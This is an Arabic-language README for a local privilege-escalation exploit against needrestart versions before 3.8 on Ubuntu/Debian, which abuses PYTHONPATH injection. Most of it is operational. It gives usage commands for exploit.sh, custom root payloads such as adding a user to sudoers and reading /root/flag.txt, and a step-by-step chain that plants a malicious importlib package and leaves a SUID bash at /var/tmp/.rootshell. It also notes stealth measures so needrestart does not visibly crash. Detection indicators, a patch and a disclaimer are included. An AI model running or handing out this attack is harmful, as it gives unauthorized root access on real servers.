
needrestart < 3.8 تصعيد الامتيازات المحلية عبر PYTHONPATH injection
أداة استغلال لتصعيد الامتيازات المحلية تستهدف needrestart < 3.8 على أنظمة Ubuntu/Debian عبر حقن PYTHONPATH.
needrestart هو أداة مثبتة بشكل شائع على خوادم Ubuntu/Debian تتحقق من الخدمات التي تحتاج إلى إعادة التشغيل بعد ترقية المكتبات. يعمل كـ root ويتم تشغيله تلقائيًا بعد عمليات apt أو يتم استدعاؤه مباشرة عبر sudo.
عند فحص عمليات Python، يقوم needrestart بإعادة استدعاء مترجم Python مع وراثة البيئة الكاملة للعملية من /proc/<pid>/environ — بما في ذلك PYTHONPATH. يمكن لمستخدم محلي غير مميز استغلال ذلك عن طريق:
PYTHONPATH إلى دليل يحتوي على حزمة importlib ضارةimportlib/__init__.py الخاص بالمهاجم كـ root| الحزمة | الضعيفة | المصححة |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
تم التأكيد على:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
ثم قم بتشغيل needrestart من محطة أخرى:
# إذا كان لديك وصول sudo مباشر إلى needrestart:
sudo /usr/sbin/needrestart
# أو قم بتشغيله عبر apt (يتم تشغيل needrestart كخطاف بعد apt):
sudo apt update && sudo apt install --reinstall coreutils
عند تشغيل needrestart، يقوم الاستغلال بإنشاء شل SUID في /var/tmp/.rootshell ويدخلك تلقائيًا في شل root.
إذا لم يعمل التنفيذ التلقائي، احصل على الشل يدويًا:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> أمر شل مخصص ليتم تشغيله كـ root (الافتراضي: نسخ شل suid)
-w <seconds> أقصى وقت انتظار بالثواني (الافتراضي: 300)
-t وضع التشغيل: محاولة تشغيل needrestart عبر apt
-n بدون تنظيف: الاحتفاظ بدليل الحمولة بعد الاستغلال
-h عرض رسالة المساعدة هذه
# الافتراضي — إنشاء نسخة من /bin/bash مع SUID في /var/tmp/.rootshell
./exploit.sh
# تشغيل needrestart تلقائيًا عبر apt (يتطلب وصول sudo apt)
./exploit.sh -t
# حمولة مخصصة: إضافة المستخدم الحالي إلى sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# حمولة مخصصة: قراءة ملف مقيد
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# وقت انتظار ممتد (10 دقائق)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. إنشاء /tmp/.nr_XXXX/importlib/__init__.py مع الحمولة │
│ التي تقوم بتشغيل os.system() لنسخ /bin/bash كـ SUID │
├───────────────────────────────────────────────────────────────┤
│ 2. بدء عملية Python طويلة الأمد مع │
│ PYTHONPATH=/tmp/.nr_XXXX مصدرة في بيئتها │
├───────────────────────────────────────────────────────────────┤
│ 3. تشغيل needrestart (عبر sudo أو خطاف apt)، مسح │
│ /proc/*/environ، العثور على عملية Python │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart يعيد استدعاء python3 كـ ROOT وريثًا لـ │
│ PYTHONPATH الخاص بالمهاجم → تحميل importlib الضار │
├───────────────────────────────────────────────────────────────┤
│ 5. تنفيذ الحمولة كـ root: cp /bin/bash + chmod 4755 │
│ → المهاجم يشغل /var/tmp/.rootshell -p → شل root │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ بدلاً من /tmp/ لأن /tmp غالبًا ما يكون مثبتًا مع nosuid، مما يزيل بت SUID بصمت.importlib/__init__.py الضار باستعادة importlib الحقيقي بعد تنفيذ الحمولة عن طريق تنظيف sys.path و sys.modules، حتى لا يتعطل needrestart بشكل مرئي..py فعلي (وليس سطر واحد -c) لتوافق أفضل مع فحص المترجم الخاص بـ needrestart.مؤشرات على استخدام هذا الاستغلال:
/var/tmp/ أو /tmp/PYTHONPATH غير عادية تشير إلى أدلة مؤقتة/tmp/.nr_* تحتوي على دليل فرعي importlib/# تحديث needrestart إلى الإصدار المصحح
sudo apt update && sudo apt install needrestart
# أو تعطيل فحص المترجم بالكامل
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
تُقدم هذه الأداة لأغراض اختبار الأمن المصرح به والتعليم فقط. استخدمها فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
MIT